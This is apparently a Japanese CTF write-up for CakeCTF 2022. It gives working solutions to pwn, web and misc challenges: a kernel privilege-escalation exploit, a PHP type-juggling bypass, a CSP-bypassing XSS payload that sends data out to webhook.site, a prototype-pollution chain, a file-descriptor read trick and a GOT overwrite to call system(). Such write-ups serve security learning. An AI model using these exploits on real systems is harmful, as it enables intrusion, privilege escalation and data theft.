$ (echo -en "3\n01234567\n4\n1\nAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAA\x80\x40\x40\x00\x00\x00\x00\x00\n3\n\xde\x16\x40\x00\x00\x00\x00\x00\n"; cat) | nc pwn1.2022.cakectf.com 9003 1. set c_str 2. get c_str 3. set str 4. get str choice: str: choice: str: 01234567 choice: c_str: choice: str: ls chall flag-ba2a141e66fda88045dc28e72c0daf20.txt cat f* CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
CakeCTF{HW1: Remove "call_me" and solve it / HW2: Set PIE+RELRO and solve it}
[pwn 113] welkerme (75 solves)
Introduction to Linux Kernel Exploit :)
nc pwn2.2022.cakectf.com 9999
添付ファイル: welkerme_afcc40e7baa18649730945cde6475354.tar.gz
やさしいLinux Kernel Exploit問。丁寧な解説が添付ファイルに含まれているので詳細はそちらを確認してもらうとして、まず /proc/kallsyms
を grep
すると commit_creds
と prepare_kernel_cred
のアドレスがわかる。CMD_EXEC
を使って呼び出してもらう関数の中で commit_creds(prepare_kernel_cred(NULL))
すると root
になれる。
#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #define CMD_ECHO 0xc0de0001 #define CMD_EXEC 0xc0de0002 void *(*prepare_kernel_cred)(void *) = 0xffffffff810726e0; int (*commit_creds)(void *) = 0xffffffff81072540; int func(void) { commit_creds(prepare_kernel_cred(NULL)); return 31337; } int main(void) { int fd, ret; if ((fd = open("/dev/welkerme", O_RDWR)) < 0) { perror("/dev/welkerme"); exit(1); } ret = ioctl(fd, CMD_ECHO, 12345); printf("CMD_ECHO(12345) --> %d\n", ret); ret = ioctl(fd, CMD_EXEC, (long)func); printf("CMD_EXEC(func) --> %d\n", ret); close(fd); execl("/bin/sh", "sh", NULL); return 0; }
このexploitを実行する。
/tmp $ ./exploit ./exploit CMD_ECHO(12345) --> 12345 CMD_EXEC(func) --> 31337 /tmp # cd / cd / / # ls ls bin etc lib linuxrc root sbin tmp var dev init lib64 proc run sys usr / # id id uid=0(root) gid=0(root) / # cat /root/flag* cat /root/flag* CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
フラグが得られた。
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
[web 98] CakeGEAR (104 solves)
Can you crack the login portal of CakeGEAR router?
添付ファイル: cakegear_b8892957907a9f25a17529ad4dcc73f1.tar.gz
添付ファイルを展開すると、index.php
, admin.php
, Dockerfile
というファイルが出てくる。admin.php
は以下のような内容で、フラグを得るためには $_SESSION['admin']
を true
にしなければならないことがわかる。
<?php session_start(); if (empty($_SESSION['login']) || $_SESSION['login'] !== true) { header("Location: /index.php"); exit; } if ($_SESSION['admin'] === true) { $mode = 'admin'; $flag = file_get_contents("/flag.txt"); } else { $mode = 'guest'; $flag = "***** Access Denied *****"; } ?> …
どういう条件で $_SESSION['admin']
が true
になるかは index.php
を確認するとわかる。admin
もしくは godmode
というユーザでログインすればよいようだ。
admin
は f365691b6e7d8bc4e043ff1b75dc660708c1040e
というSHA-1のハッシュ値をクラックしなければならないから論外として、godmode
の方は switch
文を見る限りではパスワードはチェックされておらず、ユーザ名が godmode
であればそれでよいように見える。しかしながら、それより先に行われている処理を見ると、in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])
とアクセスしているIPアドレスがローカルのものであるかチェックされており、もしそうでなければログインしようとしているユーザ名を無理やり nobody
に変えられてしまう。
<?php session_start(); $_SESSION = array(); define('ADMIN_PASSWORD', 'f365691b6e7d8bc4e043ff1b75dc660708c1040e'); /* Router login API */ $req = @json_decode(file_get_contents("php://input")); if (isset($req->username) && isset($req->password)) { if ($req->username === 'godmode' && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) { /* Debug mode is not allowed from outside the router */ $req->username = 'nobody'; } switch ($req->username) { case 'godmode': /* No password is required in god mode */ $_SESSION['login'] = true; $_SESSION['admin'] = true; break; case 'admin': /* Secret password is required in admin mode */ if (sha1($req->password) === ADMIN_PASSWORD) { $_SESSION['login'] = true; $_SESSION['admin'] = true; } break; case 'guest': /* Guest mode (low privilege) */ if ($req->password === 'guest') { $_SESSION['login'] = true; $_SESSION['admin'] = false; } break; } /* Return response */ if (isset($_SESSION['login']) && $_SESSION['login'] === true) { echo json_encode(array('status'=>'success')); exit; } else { echo json_encode(array('status'=>'error')); exit; } } ?> …
PHPと聞いてまず考えるのはType Jugglingだ。PHPでは switch
文が行うのは ==
による緩やかな比較なので、$req->username !== 'godmode'
かつ $req->username == 'godname'
が成り立つような $req->username
を考えればよい。PHP 8.0より前のバージョンならば 0
でもよかった(0 == 'godmode'
だった)のだけれども、PHP 8.0で変更があり成り立たなくなった。今回使われているPHPのバージョンは8系なので、残念ながら使えない。
PHP 8.0以降での ==
による比較の表を見ていると、true == 'php'
が true
になるということがわかる。使えそうだ。
$req = @json_decode(file_get_contents("php://input"));
と index.php
はJSONでユーザ入力を受け取っているから、{"username":true}
のようなJSONを送ることで $req->username
を true
にできる。以下のようなスクリプトを実行するとフラグが得られた。
import requests s = requests.Session() r = s.post('http://web1.2022.cakectf.com:8005/', json={ 'username': True, 'password': 'godmode' }) print(r.text) r = s.get('http://web1.2022.cakectf.com:8005/admin.php') print(r.text)
CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
[web 135] OpenBio (50 solves)
CSP + httponly = invulnerable
添付ファイル: openbio_357d4ebeb546dfeef981399a5ff12076.tar.gz
そんなことはない。URLを報告するとアクセスしに来てくれるXSS botのコードから見ていく。アクセスごとにこのbotは新しいユーザを登録していて、そのユーザ名はランダムであるため推測できない。このユーザのプロフィールとして await page.type('#bio', "You hacked me! The flag is " + flag);
とフラグが設定されている様子がわかる。
const puppeteer = require('puppeteer'); const Redis = require('ioredis'); const connection = new Redis(6379, process.env.REDIS_HOST || "redis", {db: 1}); const wait = ms => new Promise(resolve => setTimeout(resolve, ms)); const flag = process.env.flag || "CakeCTF{**** TEST FLAG *****}"; const base_url = "http://challenge:8080"; const browser_option = { headless: true, args: [ '-wait-for-browser', '--no-sandbox', '--disable-gpu', '--js-flags="--noexpose_wasm"' ] } const crawl = async (target) => { const url = base_url + '/profile/' + target + '?report'; console.log(`[+] Crawling: ${url}`); const username = Math.random().toString(32).substring(2); const password = Math.random().toString(32).substring(2); const browser = await puppeteer.launch(browser_option); try { const page = await browser.newPage(); // Register await page.goto(base_url + '/', {timeout: 3000}); await page.type('#username', username); await page.type('#password', password); await page.click('#tab-signup'); await page.click('#signup'); await wait(1000); // Set flag to bio await page.goto(base_url + '/', {timeout: 3000}); await page.$eval('#bio', element => element.value = ''); await page.type('#bio', "You hacked me! The flag is " + flag); await page.click('#update'); await wait(1000); // Check spam page await page.goto(url, {timeout: 3000}); await wait(3000); await page.close(); } catch(e) { console.log("[-] " + e); } console.log(`[+] Crawl done`); await browser.close(); } const handle = async () => { console.log(await connection.ping()); connection.blpop('report', 0, async (err, message) => { try { await crawl(message[1]); setTimeout(handle, 10); } catch (e) { console.log("[-] " + e); } }); }; handle();
このWebアプリケーションの脆弱性を探していく。以下のJinja2のテンプレートを見ると分かるように、{{ bio|safe }}
のおかげでユーザのプロフィールを表示する画面で明らかにHTML Injectionができる。
<div class="uk-container"> <h1> {{ username }}'s Profile <a id="copy" class="uk-icon-button" uk-icon="link" uk-tooltip="Copy link"></a> {% if not is_report %}<a id="report" class="uk-icon-button" uk-icon="warning" uk-tooltip="Report spam"></a>{% endif %} </h1> <p class="uk-text-large">{{ bio|safe }}</p> </div>
しかしながら、以下のようにCSPヘッダが設定されているため、<script>alert(123)</script>
や <img src=x onerror=alert(123)>
のようなインラインのJavaScriptコードは実行できない。
@app.after_request def after_request(response): csp = "" csp += "default-src 'none';" if 'csp_nonce' in flask.g: csp += f"script-src 'nonce-{flask.g.csp_nonce}' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" else: csp += f"script-src https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';" csp += f"style-src https://cdn.jsdelivr.net/;" csp += f"frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;" csp += f"base-uri 'none';" csp += f"connect-src 'self';" response.headers['Content-Security-Policy'] = csp return response
あれ、script-src
で許可するソースリストに https://cdn.jsdelivr.net/
とCDNが入っている。都合よく 'unsafe-eval'
も入っている。自分で新しくパッケージを作ったり、脆弱なパッケージを読み込んだりするとCSPバイパスができそう。今回は面倒なので後者でやる。
以下のようにAngular 1.0.8を読み込んで、eval
相当のことをしてCSPバイパスをする。今回はXSS botがログインしているユーザ名さえわかればよいので、/
を fetch
して、返ってきたHTMLの中に含まれるユーザ名を抽出する。(new Image).src='…'
や fetch('…')
などで外部にユーザ名を投げようにも、default-src
や connect-src
で制限されてしまっているので、location.href
を使ってリダイレクトさせる形でなんとかする。
<script src="https://cdn.jsdelivr.net/npm/angular@1.0.8/lib/angular.min.js"></script> <p ng-app>{{constructor.constructor('fetch("/").then(r=>r.text()).then(r=>{location.href="https://webhook.site/…?"+encodeURIComponent(r.match(/(.+)\'s Profile/g)[0])})')()}}
これで得られたユーザ名のプロフィールを閲覧すると、フラグが得られた。
CakeCTF{httponly=true_d03s_n0t_pr0t3ct_U_1n_m4ny_c4s3s!}
私がfirst bloodだった。始まってから10分以内に解けて嬉しい。
[web 289] Panda Memo (9 solves)
Please create an isolated instance on the server below:
nc web2.2022.cakectf.com 8002
添付ファイル: panda_memo_8490cb5f766015981851104ad4f33f2f.tar.gz
メモ帳アプリ。IPアドレスごとにメモが管理されている。ほかの問題と違っていちいちインスタンスを立てる必要があるあたりから、環境を派手に汚す問題なのだなあと察する。
添付ファイルを展開すると、以下のような server.js
が出てくる。
const fs = require('fs'); const path = require('path'); const express = require('express'); const auth = require('express-basic-auth'); const mustache = require('mustache'); const app = express(); const SECRET = process.env["SECRET"] || "ADMIN_SECRET"; const FLAG = process.env["FLAG"] || "FakeCTF{panda-sensei}"; const BASIC_USERNAME = process.env["BASIC_USERNAME"] || "guest"; const BASIC_PASSWORD = process.env["BASIC_PASSWORD"] || "guest"; app.engine('html', function (filePath, options, callback) { fs.readFile(filePath, function (err, content) { if (err) return callback(err); let rendered = mustache.render(content.toString(), options); return callback(null, rendered); }); }); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'html'); app.use(express.json()); app.use(auth({ challenge: true, unauthorizedResponse: () => { return "Unauthorized"; }, authorizer: (username, password) => { return auth.safeCompare(username, BASIC_USERNAME) && auth.safeCompare(password, BASIC_PASSWORD); } })); const isAdmin = req => req.query.secret === SECRET; const getAdminRole = req => { /* Return array of admin roles (such as admin, developer). More roles are to be added in the future. */ return isAdmin(req) ? ['admin'] : []; } let memo = {}; app.get('/', (req, res) => res.render('index')); /** Create new memo */ app.post('/new', (req, res) => { /* Create new memo */ if (!(req.ip in memo)) memo[req.ip] = []; memo[req.ip].push(""); res.json({status: 'success'}); }); /** Delete memo */ app.post('/del', (req, res) => { let index = req.body.index; /* Delete memo */ if ((req.ip in memo) && (index in memo[req.ip])) { memo[req.ip].splice(index, 1); res.json({status: 'success', result: 'Successfully deleted'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); /** Get memo list */ app.get('/show', (req, res) => { let ip = req.ip; /* We don't need to call isAdmin here because only admin can see console log. */ if (req.body.debug == true) console.table(memo, req.body.inspect); /* Admin can read anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Return memo */ if (ip in memo) res.json({status: 'success', result: memo[ip]}); else res.json({status: 'error', result: 'Memo not found'}); }); /** Edit memo */ app.post('/edit', (req, res) => { let ip = req.ip; let index = req.body.index; let new_memo = req.body.memo; /* Admin can edit anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Update memo */ if (ip in memo) { memo[ip][index] = new_memo; res.json({status: 'success', result: 'Successfully updated'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); /** Admin panel */ app.get('/admin', (req, res) => { res.render('admin', {is_admin:isAdmin(req), flag:FLAG}); }); app.listen(3000, () => { console.log("Server is up!"); });
以下のコードを見ればわかるように、secret
というクエリパラメータに秘密の文字列を設定して /admin
にアクセスすればフラグが得られる。当然ながら、ちゃんと process.env.SECRET
が設定されていて、SECRET
は ADMIN_SECRET
という文字列ではない。
const SECRET = process.env["SECRET"] || "ADMIN_SECRET"; // … const isAdmin = req => req.query.secret === SECRET; // … /** Admin panel */ app.get('/admin', (req, res) => { res.render('admin', {is_admin:isAdmin(req), flag:FLAG}); });
isAdmin
という関数のほかにも、ユーザがadminであるかをチェックする getAdminRole
という関数がある。使われているのはメモの編集をする処理で、もしadminならば好きなIPアドレスのメモを編集できる。
memo[ip][index] = new_memo;
でPrototype Pollutionができそう。memo
は Object
なので、編集対象のIPアドレスに __proto__
を、index
に neko
を指定することで、Object.prototype.neko = new_memo
相当のことができる。しかしながら、それをするためにはまず getAdminRole(req)[0] !== undefined
を突破しなければならない。
なぜ getAdminRole(req).length !== 0
でなくわざわざ getAdminRole(req)[0] !== undefined
としているかが気になる。Object.prototype[0] = 'hoge'
とPrototype Pollutionをしておけば突破できるはずだ。でも、どうやってそんなピンポイントなPrototype Pollutionをするのか。
const getAdminRole = req => { /* Return array of admin roles (such as admin, developer). More roles are to be added in the future. */ return isAdmin(req) ? ['admin'] : []; } // … /** Edit memo */ app.post('/edit', (req, res) => { let ip = req.ip; let index = req.body.index; let new_memo = req.body.memo; /* Admin can edit anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Update memo */ if (ip in memo) { memo[ip][index] = new_memo; res.json({status: 'success', result: 'Successfully updated'}); } else { res.json({status: 'error', result: 'Memo not found'}); } });
ほかの処理をだらだら眺めていると、メモの表示処理で不自然な箇所があった。GETメソッドで受け付けているAPIではあるけれども、req.body.debug == true
とリクエストボディで debug
というキーにtruthyな値を設定しておくと、console.table(memo, req.body.inspect)
と現在どんなメモが保存されているかをコンソールに出力してくれる。
/** Get memo list */ app.get('/show', (req, res) => { let ip = req.ip; /* We don't need to call isAdmin here because only admin can see console log. */ if (req.body.debug == true) console.table(memo, req.body.inspect); /* Admin can read anyone's memo for censorship */ if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; /* Return memo */ if (ip in memo) res.json({status: 'success', result: memo[ip]}); else res.json({status: 'error', result: 'Memo not found'}); });
ここでPrototype Pollutionができないかと思い、なんとなく curl -X GET "http://localhost:3000/show" -H "Content-Type: application/json" -d '{"debug":true,"inspect":["__proto__"]}'
というようなリクエストを送ってみたところ、以下のようにおかしなエラーが返ってきた。0
というプロパティが読めないと言われても困る。
TypeError: Cannot create property '0' on string '' at table (node:internal/cli_table:66:32) at final (node:internal/console/constructor:489:38) at console.table (node:internal/console/constructor:592:12) …
ほかの箇所も壊れだし、たとえばメモが表示されなかったり、編集しようとしても以下のようにメモが存在しないと怒られてしまったりする。
$ curl "http://localhost:3000/edit" -H "Content-Type: application/json" -d '{"index":0,"memo":"neko"}' {"status":"error","result":"Memo not found"}
どういうことかと思いその原因を探っていたところ、/edit
で参照されている ip
が undefined
となっていることに気づいた。まさかと思い getAdminRole(req)[0]
を確認してみると、空文字列になっていた。Prototype Pollutionが起きている*3。JavaScriptでは '' !== undefined
であるから、ip = req.body.ip
という処理が走ったことになる。
これを利用して、Object.prototype[0]
が汚染された状態で curl "http://localhost:3000/edit" -H "Content-Type: application/json" -d '{"ip": "__proto__", "index":"neko","memo":["123"]}'
というようなリクエストを投げると、先程言及したように Object.prototype.neko = ['123']
というように、もっと自由にキーを指定してPrototype Pollutionができる。
でも、Prototype Pollutionができたところで何を汚せばよいのか。フラグを得るためには isAdmin
が true
を返す必要があるが、isAdmin
もそこで参照されている SECRET
も汚せない。ということは server.js
が使うライブラリにgadgetがないか探す必要がありそう。
使われているライブラリは色々あるけれども、数百行しかなくて比較的読むのが簡単そうな、テンプレートエンジンの mustache.js
から確認した。Prototype Pollutionとテンプレートエンジンの組み合わせといえばPOSIXさんのAST Injectionだけれども、いい感じの処理がない。めげずに眺めていると、以下に抜き出したようなキャッシュ周りの処理が怪しそうに感じた。
this.templateCache = { _cache: {}, set: function set (key, value) { this._cache[key] = value; }, get: function get (key) { return this._cache[key]; }, clear: function clear () { this._cache = {}; } };
以下のようにキャッシュの取得・設定時にそのキーと値を出力するように mustache.js
を書き換える。
this.templateCache = { _cache: {}, set: function set (key, value) { console.log('[set key]', JSON.stringify(key)); console.log('[set value]', JSON.stringify(value)); this._cache[key] = value; }, get: function get (key) { console.log('[get key]', JSON.stringify(key)); console.log('[get _cache[key]]', JSON.stringify(this._cache[key])); return this._cache[key]; }, clear: function clear () { this._cache = {}; } };
このまま server.js
を再起動し、/admin
にアクセスすると、以下のようなログが得られた。テンプレートの末尾に :{{:}}
を加えた文字列をキーとしているっぽい。当然最初のアクセスでは this._cache[key]
は undefined
になるから、/admin
にアクセスするより前にキャッシュを汚染しておいてやると、好きなコンテンツを返すようにできそう。
[get key] "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n {{#is_admin}}\n FLAG: <code>{{flag}}</code>\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n </p>\n </article>\n </main>\n </body>\n</html>\n:{{:}}" [get _cache[key]] undefined [set key] "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n {{#is_admin}}\n FLAG: <code>{{flag}}</code>\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n </p>\n </article>\n </main>\n </body>\n</html>\n:{{:}}" [set value] [["text","<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n",0,464],["#","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text"," <mark>Access Denied</mark>\n",614,661]],681],["text"," </p>\n </article>\n </main>\n </body>\n</html>\n",695,775]]
/admin
のテンプレートは以下の通り。{{#is_admin}}
を {{^is_admin}}
に変えてやれば、is_admin
が false
であってもフラグが表示されるようになってよさそう。先程のログにある [set value]
の行のオブジェクトのその部分を ["#","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566]
というように変えたものをメモっておく。
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"> <title>Admin Panel - lolpanda</title> </head> <body> <header> <h1>Admin Panel</h1> <p>Please leave this page if you're not the admin.</p> </header> <main> <article style="text-align: center;"> <h2>FLAG</h2> <p> {{#is_admin}} FLAG: <code>{{flag}}</code> {{/is_admin}} {{^is_admin}} <mark>Access Denied</mark> {{/is_admin}} </p> </article> </main> </body> </html>
ここまでの流れを整理したものが以下のPythonスクリプト。
import requests BASE = 'http://localhost:3000' s = requests.Session() s.auth = ('guest', 'guest') s.post(f'{BASE}/new') s.post(f'{BASE}/edit', json={"index":"0","memo":"neko"}) s.get(f'{BASE}/show', json={"debug":True,"inspect":["__proto__"]}) s.post(f'{BASE}/edit', json={ "ip": "__proto__", "index": "neko", "memo": "abc" }) s.post(f'{BASE}/edit', json={ "ip": "__proto__", "index": "<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n {{#is_admin}}\n FLAG: <code>{{flag}}</code>\n {{/is_admin}}\n {{^is_admin}}\n <mark>Access Denied</mark>\n {{/is_admin}}\n </p>\n </article>\n </main>\n </body>\n</html>\n:{{:}}", "memo": [["text","<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <link rel=\"stylesheet\" href=\"https://cdn.simplecss.org/simple.min.css\">\n <title>Admin Panel - lolpanda</title>\n </head>\n <body>\n <header>\n <h1>Admin Panel</h1>\n <p>Please leave this page if you're not the admin.</p>\n </header>\n <main>\n <article style=\"text-align: center;\">\n <h2>FLAG</h2>\n <p>\n",0,464],["^","is_admin",484,497,[["text"," FLAG: <code>",498,530],["name","flag",530,538],["text","</code>\n",538,546]],566],["^","is_admin",600,613,[["text"," <mark>Access Denied</mark>\n",614,661]],681],["text"," </p>\n </article>\n </main>\n </body>\n</html>\n",695,775]] }) print(s.get(f'{BASE}/admin').text)
これを実行するとフラグが得られた。
$ python3 solve.py <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"> <title>Admin Panel - lolpanda</title> </head> <body> <header> <h1>Admin Panel</h1> <p>Please leave this page if you're not the admin.</p> </header> <main> <article style="text-align: center;"> <h2>FLAG</h2> <p> FLAG: <code>"CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}"</code> <mark>Access Denied</mark> </p> </article> </main> </body> </html>
CakeCTF{pollute_and_p011u73_4nd_PoLLuTE!}
私がfirst bloodだった。問題がリリースされてから2時間弱で解けて嬉しい。
[misc 133] readme 2022 (52 solves)
nc misc.2022.cakectf.com 12022
添付ファイル: readme2022_80ade97026adcb7e3e8f6203ad1eab06.tar.gz
Beginners CTF 2020のreadmeのリベンジ問っぽい。添付ファイルを展開すると、以下のようなシンプルなPythonコードが出てきた。
import os try: f = open("/flag.txt", "r") except: print("[-] Flag not found. If this message shows up") print(" on the remote server, please report to amdin.") if __name__ == '__main__': filepath = input("filepath: ") if filepath.startswith("/"): exit("[-] Filepath must not start with '/'") elif '..' in filepath: exit("[-] Filepath must not contain '..'") filepath = os.path.expanduser(filepath) try: print(open(filepath, "r").read()) except: exit("[-] Could not open file")
os.path.expanduser
という関数が怪しいのでPythonのドキュメントを確認する。
与えられた引数の先頭のパス要素
~
、または~user
を、user
のホームディレクトリのパスに置き換えて返します
なるほど。ルートディレクトリをホームディレクトリとするユーザが居ないか、付属していた Dockerfile
を使ってDockerコンテナを立てて /etc/passwd
を確認してみたものの、もちろんなかった。が、sys
は /dev
をホームディレクトリとしていて使えそう。
ctf@a70f9b8b6c4f:/app$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ctf:x:999:999::/home/ctf:/bin/sh
/dev/fd
は /proc/self/fd
へのシンボリックリンクになっている。このスクリプトの最初で f = open("/flag.txt", "r")
と flag.txt
が開かれているから、そのファイルディスクリプタを当てれば /dev/fd/(flag.txtのファイルディスクリプタ)
からフラグを読めるはず。1から順番に試して ~sys/fd/6
でフラグが得られた。
$ nc misc.2022.cakectf.com 12022 filepath: ~sys/fd/6 CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}
[misc 204] C-Sandbox (20 solves)
I designed a restricted C compiler!
nc misc.2022.cakectf.com 10099
添付ファイル: c_sandbox_c85cfad2fce8c0c6ac1dc144a1e4229c.tar.gz
添付ファイルを展開すると、色々ファイルが出てくる。重要そうなのは compiler.py
と sandbox.cpp
ぐらいなので、それぞれそのまま載せる。まずは compiler.py
だけれども、これは与えられたCコードをコンパイルして実行しているっぽい。気になるのは opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null
という処理で、opt
というのは最適化などを行ってくれるツールらしい。-load
というオプションで与えられているファイルが最適化などを行うLLVM Passというものらしい。LLVM Passである libCSandbox.so
のソースコードが sandbox.cpp
ということっぽい。
#!/usr/bin/env python3 import os import random def tempname(extension='', length=16, directory='/tmp'): name = '{:x}'.format(random.randrange(0, 1<<(length*8))) return directory + '/' + name.zfill(length) + extension def c_compile(code): c_path = tempname(extension='.c') bc_path = tempname(extension='.bc') ir_path = tempname(extension='.ir') asm_path = tempname(extension='.asm') elf_path = tempname(extension='.bin') with open(c_path, 'w') as f: f.write(code) print("[+] Generating bitcode...") r = os.system('clang-11 -emit-llvm -c {} -o {} 2>/dev/null' .format(c_path, bc_path)) os.unlink(c_path) if r != 0: return print("[+] Instrumenting...") r = os.system('opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null' .format(bc_path, ir_path)) os.unlink(bc_path) if r != 0: os.unlink(ir_path) return print("[+] Translating to assembly...") r = os.system('llc-11 {} -o {} 2>/dev/null' .format(ir_path, asm_path)) os.unlink(ir_path) if r != 0: return print("[+] Compiling...") r = os.system('clang-11 {} -o {} 2>/dev/null' .format(asm_path, elf_path)) os.unlink(asm_path) if r != 0: return return elf_path if __name__ == '__main__': print("Enter your C code (Type 'EOF' to quit input)") code = '' while True: line = input() if line == 'EOF': break code += line + '\n' if len(code) > 0x1000: print("[-] Too long") exit(1) elf_path = c_compile(code) if elf_path is None: print("[-] Compilation failed") exit(1) print("[+] Running...", flush=True) os.system("timeout -s KILL --foreground 60 {}".format(elf_path)) os.unlink(elf_path)
sandbox.cpp
は以下の通り。puts
, printf
, __isoc99_scanf
, exit
以外の名前の関数を使うのは絶対に許さないっぽい。
#include "llvm/IR/IRBuilder.h" #include "llvm/IR/LegacyPassManager.h" using namespace llvm; struct Sandbox : public ModulePass { static char ID; Sandbox() : ModulePass(ID) {} bool initialize(Module &M) { return true; } bool runOnModule(Module &M) override { for (auto& F: M) { runOnFunction(F, M); } return false; } bool runOnFunction(Function &F, Module &M) { for (auto& BB: F) { runOnBasicBlock(BB, M); } return false; } bool runOnBasicBlock(BasicBlock &BB, Module &M) { for (auto& I: BB) { if (auto ci(dyn_cast<CallInst>(&I)); ci) { /* Get function name to be called */ auto func = ci->getCalledFunction(); if (!func) { auto *value = ci->getCalledOperand(); func = dyn_cast<Function>(value->stripPointerCasts()); } /* Allow these function calls */ if (func && (func->getName() == "puts" || func->getName() == "printf" || func->getName() == "__isoc99_scanf" || func->getName() == "exit")) continue; /* Otherwise insert trap */ std::string str_I; raw_string_ostream(str_I) << I; IRBuilder<> builder(&I); auto msg = builder.CreateGlobalStringPtr( "[C-Sandbox] Invalid function call: " + str_I ); auto func_puts = cast<Function>( M.getOrInsertFunction("puts", builder.getInt32Ty(), builder.getInt8PtrTy()).getCallee() ); auto func_exit = cast<Function>( M.getOrInsertFunction("exit", builder.getVoidTy(), builder.getInt32Ty()).getCallee() ); builder.CreateCall(func_puts, msg); builder.CreateCall(func_exit, builder.getInt32(1)); } } return false; } }; char Sandbox::ID = 0; static RegisterPass<Sandbox> X("Sandbox", "Deny dangerous system calls", false, false);
.got.plt
を書き換えて、puts
を呼び出すと system
が呼ばれるようにする。まずは以下のコードを本番と同じ条件でコンパイルし、.got.plt
セクションを確認してどのアドレスを書き換えればよいか確認する。
#include <stdlib.h> int main(void) { long long int *x; x = 0x12345678; *x = system; puts("ls -la; cat f*"); return 0; }
実行ファイルが実行後に削除されないよう compiler.py
を書き換えておき、先程のコードを入力する。
